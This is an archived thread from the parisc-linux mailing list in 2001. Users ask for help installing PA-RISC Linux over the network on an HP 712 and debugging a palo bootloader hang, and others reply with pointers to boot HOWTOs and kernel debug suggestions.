List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12961

Hello!!

I have big problems running HpUX (10.20) on my mashine, and becouse I have
no cdrom in it, I cant reinstall it ether, even that I have the
installcdrom (no use of it).

Is there any nice documentation on how to install Pa-Risc-linux on my
hp712, over the network, from my Linux-mashine (slackware)?
If there is'nt, somebody that knows of how to do it?
Else... somebody that knows of how to install NetBSD or OpenBSD over
network, from my linux-mashine, or maby a nice documentation on the net,
or maby that they can send to me?

Please reply to my email: xfs@linux.se, becouse I am not on this list.

Thanks!

// Johan Andersson
    <xfs@linux.se>




From - Thu Nov 08 21:20:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing PARISC-Linux on my 712, over network...
Date: Fri, 9 Nov 2001 11:03:19 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <OE47uLmsZhNfv57kVwy0000992a@hotmail.com>
References: <Pine.LNX.4.33.0111091040160.2829-100000@oden.valhall>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620726 29649 80.91.229.3 (22 Nov 2014 01:45:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:26 +0000 (UTC)
To: <xfs@linux.se>, <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 03:05:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe47.law4.hotmail.com [216.33.148.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id D927D482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 03:05:09 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 9 Nov 2001 02:05:08 -0800
X-Originating-IP: [212.190.158.244]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 09 Nov 2001 10:05:08.0515 (UTC) FILETIME=[030F7730:01C16906]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12962

Hi,

This is the document I used to net-boot my 712/60:
http://mkhppa1.esiee.fr/parisc-linux-boot/parisc-linux-boot.html

Also, you'll need a good lifimage. I got mine from:
ftp://ftp.debian.org/debian/dists/testing/main/disks-hppa/3.0.15-2001-10-18/
lifimage

I think these links hould get you up and running ;-)


regards,

Kenneth
----- Original Message -----
From: <xfs@linux.se>
To: <parisc-linux@lists.parisc-linux.org>
Sent: Friday, November 09, 2001 10:44 AM
Subject: [parisc-linux] Installing PARISC-Linux on my 712, over network...


> Hello!!
>
> I have big problems running HpUX (10.20) on my mashine, and becouse I have
> no cdrom in it, I cant reinstall it ether, even that I have the
> installcdrom (no use of it).
>
> Is there any nice documentation on how to install Pa-Risc-linux on my
> hp712, over the network, from my Linux-mashine (slackware)?
> If there is'nt, somebody that knows of how to do it?
> Else... somebody that knows of how to install NetBSD or OpenBSD over
> network, from my linux-mashine, or maby a nice documentation on the net,
> or maby that they can send to me?
>
> Please reply to my email: xfs@linux.se, becouse I am not on this list.
>
> Thanks!
>
> // Johan Andersson
>     <xfs@linux.se>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:20:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <xfs@linux.se>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing PARISC-Linux on my 712, over network...
Date: Fri, 9 Nov 2001 11:16:22 +0100 (CET)
Lines: 58
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0111091115290.9503-100000@oden.valhall>
References: <OE47uLmsZhNfv57kVwy0000992a@hotmail.com>
Reply-To: <xfs@linux.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620726 29651 80.91.229.3 (22 Nov 2014 01:45:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:26 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: kenneth westelinck <kennywest1@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 03:16:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xfs.ath.cx (sdu101-232.ppp.algonet.se [195.163.232.101])
	by dsl2.external.hp.com (Postfix) with ESMTP id B04FE482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 03:16:03 -0700 (MST)
Original-Received: from oden.valhall (oden.valhall [192.168.0.3])
	by xfs.ath.cx (Postfix) with ESMTP
	id 206DF176FB; Fri,  9 Nov 2001 11:16:22 +0100 (CET)
X-X-Sender: <j@oden.valhall>
In-Reply-To: <OE47uLmsZhNfv57kVwy0000992a@hotmail.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12963

Thanx! I am going to take a look on it!
I hope I get it to run, becouse I want to use my pa-risc.
It has stand and collected dust now for long...

> Hi,
>
> This is the document I used to net-boot my 712/60:
> http://mkhppa1.esiee.fr/parisc-linux-boot/parisc-linux-boot.html
>
> Also, you'll need a good lifimage. I got mine from:
> ftp://ftp.debian.org/debian/dists/testing/main/disks-hppa/3.0.15-2001-10-18/
> lifimage
>
> I think these links hould get you up and running ;-)
>
>
> regards,
>
> Kenneth
> ----- Original Message -----
> From: <xfs@linux.se>
> To: <parisc-linux@lists.parisc-linux.org>
> Sent: Friday, November 09, 2001 10:44 AM
> Subject: [parisc-linux] Installing PARISC-Linux on my 712, over network...
>
>
> > Hello!!
> >
> > I have big problems running HpUX (10.20) on my mashine, and becouse I have
> > no cdrom in it, I cant reinstall it ether, even that I have the
> > installcdrom (no use of it).
> >
> > Is there any nice documentation on how to install Pa-Risc-linux on my
> > hp712, over the network, from my Linux-mashine (slackware)?
> > If there is'nt, somebody that knows of how to do it?
> > Else... somebody that knows of how to install NetBSD or OpenBSD over
> > network, from my linux-mashine, or maby a nice documentation on the net,
> > or maby that they can send to me?
> >
> > Please reply to my email: xfs@linux.se, becouse I am not on this list.
> >
> > Thanks!
> >
> > // Johan Andersson
> >     <xfs@linux.se>
> >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
>
>





From - Thu Nov 08 21:20:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing PARISC-Linux on my 712, over network...
Date: Fri, 09 Nov 2001 12:21:53 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <3BEBBC51.4041F30D@esiee.fr>
References: <Pine.LNX.4.33.0111091040160.2829-100000@oden.valhall>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620727 29652 80.91.229.3 (22 Nov 2014 01:45:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: xfs@linux.se
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 04:26:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 257E9482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 04:26:26 -0700 (MST)
Original-Received: from esiee.fr (pc213g.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id C71B149C5A; Fri,  9 Nov 2001 12:26:22 +0100 (CET)
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12964

Hi Johan and all,

	I'll just add that PA-RISC/Linux boot HOWTO is now an official manual
published on linuxdoc.org :) but the latest version will stay on
http://www.esiee.fr/puffin because of the speed of update during the
kernel development.

http://www.linuxdoc.org/HOWTO/PA-RISC-Linux-Boot-HOWTO/index.html

Regards, Thomas.
ESIEE Team



From - Thu Nov 08 21:20:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <xfs@linux.se>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing PARISC-Linux on my 712, over network...
Date: Fri, 9 Nov 2001 12:41:52 +0100 (CET)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0111091240540.6678-100000@oden.valhall>
References: <3BEBBC51.4041F30D@esiee.fr>
Reply-To: <xfs@linux.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620727 29653 80.91.229.3 (22 Nov 2014 01:45:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:27 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 04:41:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xfs.ath.cx (sdu101-232.ppp.algonet.se [195.163.232.101])
	by dsl2.external.hp.com (Postfix) with ESMTP id CEEE8482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 04:41:42 -0700 (MST)
Original-Received: from oden.valhall (oden.valhall [192.168.0.3])
	by xfs.ath.cx (Postfix) with ESMTP
	id D9E9E176FB; Fri,  9 Nov 2001 12:41:52 +0100 (CET)
X-X-Sender: <j@oden.valhall>
In-Reply-To: <3BEBBC51.4041F30D@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12965

Checking it out now, wget-powah  =).

Thanks alot...
Now I have collected alot of documentation, now it is just to let my
33.6-modem download the system-things and try to install everything  =).

> Hi Johan and all,
>
> 	I'll just add that PA-RISC/Linux boot HOWTO is now an official manual
> published on linuxdoc.org :) but the latest version will stay on
> http://www.esiee.fr/puffin because of the speed of update during the
> kernel development.
>
> http://www.linuxdoc.org/HOWTO/PA-RISC-Linux-Boot-HOWTO/index.html
>
> Regards, Thomas.
> ESIEE Team
>
>





From - Thu Nov 08 21:20:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More recent ISO's
Date: Fri, 9 Nov 2001 21:19:48 +0800
Lines: 26
Approved: news@gmane.org
Message-ID: <20011109211945.A6944@neep.com.au>
References: <3.0.5.32.20011107090504.007f9440@mail.magma.ca> <20011107200549.A5828@alpha.of.nowhere> <3BE98900.D006264A@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620727 29658 80.91.229.3 (22 Nov 2014 01:45:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 06:20:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-05.iinet.net.au [203.59.3.37])
	by dsl2.external.hp.com (Postfix) with SMTP id 614C4482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 06:20:01 -0700 (MST)
Original-Received: (qmail 14774 invoked by uid 666); 9 Nov 2001 13:19:52 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.101.158)
  by mail.iinet.net.au with SMTP; 9 Nov 2001 13:19:52 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id VAA07493
	for parisc-linux@lists.parisc-linux.org; Fri, 9 Nov 2001 21:19:52 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3BE98900.D006264A@esiee.fr>; from marteaut@esiee.fr on Wed, Nov 07, 2001 at 08:18:24PM +0100
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12966

Quoth Thomas Marteau:
> > > Are there any more detailed instructions than those for PALO?
> If going trough the READMEs and the mailing lists is not enough, you can
> go there:
>  http://mkhppa1.esiee.fr/palo.html
> OR
>  http://mkhppa1.esiee.fr/parisc-linux-boot/parisc-linux-boot/index.html
> 
> Good luck, Thomas.
> ESIEE Team

Or from here, now:

  http://linuxdoc.org/HOWTO/PA-RISC-Linux-Boot-HOWTO/

Congratulations on getting 'published', Thomas.  =)

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."



From - Thu Nov 08 21:20:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palo problems
Date: Fri, 9 Nov 2001 15:45:25 +0200
Lines: 131
Approved: news@gmane.org
Message-ID: <20011109154525.A7672@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="M9NhX3UHpAaciwkO"
X-Trace: ger.gmane.org 1416620727 29661 80.91.229.3 (22 Nov 2014 01:45:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 06:44:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29A0B482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 06:44:41 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 162BxV-0000gY-00
	for parisc-linux@lists.parisc-linux.org; Fri, 09 Nov 2001 15:44:37 +0200
Original-Received: (qmail 32039 invoked from network); 9 Nov 2001 13:44:34 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 9 Nov 2001 13:44:34 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 162ByH-00020w-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 09 Nov 2001 15:45:25 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *162BxV-0000gY-00*31sEAFCGBlU* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12967

--M9NhX3UHpAaciwkO
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello parisc-linux,

I can't quite get palo to boot a kernel from disk. My bootup progresses
as follows:

(c) Copyright.  Hewlett-Packard Company.  1991.
All rights reserved.

PDC ROM rev. 2.3
IODC ROM rev. 2.2
96 MB of memory configured and tested.

Selecting a system to boot.
To stop selection process, press and hold the ESCAPE key.

Selection process stopped.

Searching for Potential Boot Devices.
To terminate search, press and hold the ESCAPE key.

Device Selection      Device Path              Device Type
----------------------------------------------------------------------------

P0                    scsi.3.0                 QUANTUM PD425S
P1                    scsi.2.0                 MICROP  1528-15MD1066702
P2                    lan.0000e8-e5fdeb.0.0    dogbert

b)    Boot from specified device
s)    Search for bootable devices
a)    Enter Boot Administration mode
x)    Exit and continue boot sequence
?)    Help

Select from menu: s

Searching for Devices with Bootable Media.
To terminate search, press and hold the ESCAPE key.

Device Selection      Device Path              Device Type and Utilities
----------------------------------------------------------------------------

P0                    scsi.2.0                 MICROP  1528-15MD1066702
                                                   IPL
P1                    lan.0000e8-e5fdeb.3.6    dogbert
                                                   IPL

Enter boot selection, (h)elp, or e(x)it: p0

Trying scsi.2.0
Boot path initialized.
Attempting to load IPL.

Hard booted.
palo ipl 0.95 root@geordi Tue Oct 16 20:04:23 MDT 2001
0/vmlinux32 2975629 bytes @ 0x48000
Partition Start(MB) End(MB) Id Type
1               1      18   f0 Palo
2              19    1163   83 ext2
3            1164    1279   82 swap

Command line: 'HOME=3D/ TERM=3Dlinux console=3Dtty'

Kernel: partition 2 file /boot/vmlinux
ext2 block size 4096
ext2_mount(partition 2) returns 0
Opening /boot/vmlinux
ext2_open(/boot/vmlinux) =3D 3
ELF32 executable
Entry 00100000 first 00100000 n 6
Segment 0 load 00100000 size 1604596 mediaptr 0x1000
Segment 1 load 00288000 size 273544 mediaptr 0x189000
Segment 2 load 002cc000 size 355324 mediaptr 0x1cc000
Segment 3 load 00324000 size 8192 mediaptr 0x223000
Segment 4 load 00328000 size 32768 mediaptr 0x225000
Segment 5 load 00363a3c size 83120 mediaptr 0x22da3c
branching to kernel entry point 0x00100000

Then it seems to hang there. If I boot from the network, everything
works fine (and fast).

My /etc/palo.conf contains the following:

bob:/home/fullung# cat /etc/palo.conf=20
--commandline=3D2/boot/vmlinux HOME=3D/ TERM=3Dlinux console=3Dtty
--recoverykernel=3D/boot/vmlinux
--init-partitioned=3D/dev/sda

Relevant fdisk output:

bob:/home/fullung# fdisk /dev/sda

Command (m for help): p

Disk /dev/sda: 42 heads, 61 sectors, 1023 cylinders
Units =3D cylinders of 2562 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/sda1   *         1        15     19184+  f0  Linux/PA-RISC boot
/dev/sda2            16       930   1172115   83  Linux
/dev/sda3           931      1023    119133   82  Linux swap

bob:/home/fullung# uname -a
Linux bob 2.4.9-pa79 #1 Fri Nov 9 13:36:26 UTC 2001 parisc unknown

Thanks.

Regards,

Albert

--M9NhX3UHpAaciwkO
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE76930Dg+hOeRZtkMRAg25AJwKY/dYzsDzZ8uGqE2KVw0DvE4legCfWvRg
drhFMH/vJobE+4q+Kx3wWA8=
=wmwV
-----END PGP SIGNATURE-----

--M9NhX3UHpAaciwkO--



From - Thu Nov 08 21:20:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo problems
Date: Fri, 09 Nov 2001 15:05:51 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <3BEBE2BF.3B16901A@esiee.fr>
References: <20011109154525.A7672@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620728 29664 80.91.229.3 (22 Nov 2014 01:45:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 07:10:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 99629482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 07:10:24 -0700 (MST)
Original-Received: from esiee.fr (pc213g.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 5873549C0D; Fri,  9 Nov 2001 15:10:21 +0100 (CET)
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12968

Hi Albert,

	Try not define the EARLY_BOOTUP_DEBUG in arch/parisc/kernel/pdc_cons.c 
-If you see anything, it means that you are not in your kernel=> It
could a palo or palo<->kernel. 
-If you see something, try to find a solution ;-)

Regards, Thomas.



From - Thu Nov 08 21:20:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo problems
Date: Fri, 9 Nov 2001 15:08:38 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20011109150838.Y8938@linuxcare.com>
References: <20011109154525.A7672@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620728 29666 80.91.229.3 (22 Nov 2014 01:45:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 08:07:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA079482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 08:07:51 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id BA1FEB00C; Fri,  9 Nov 2001 15:08:38 +0000 (GMT)
X-Mailer: Mutt 1.0us
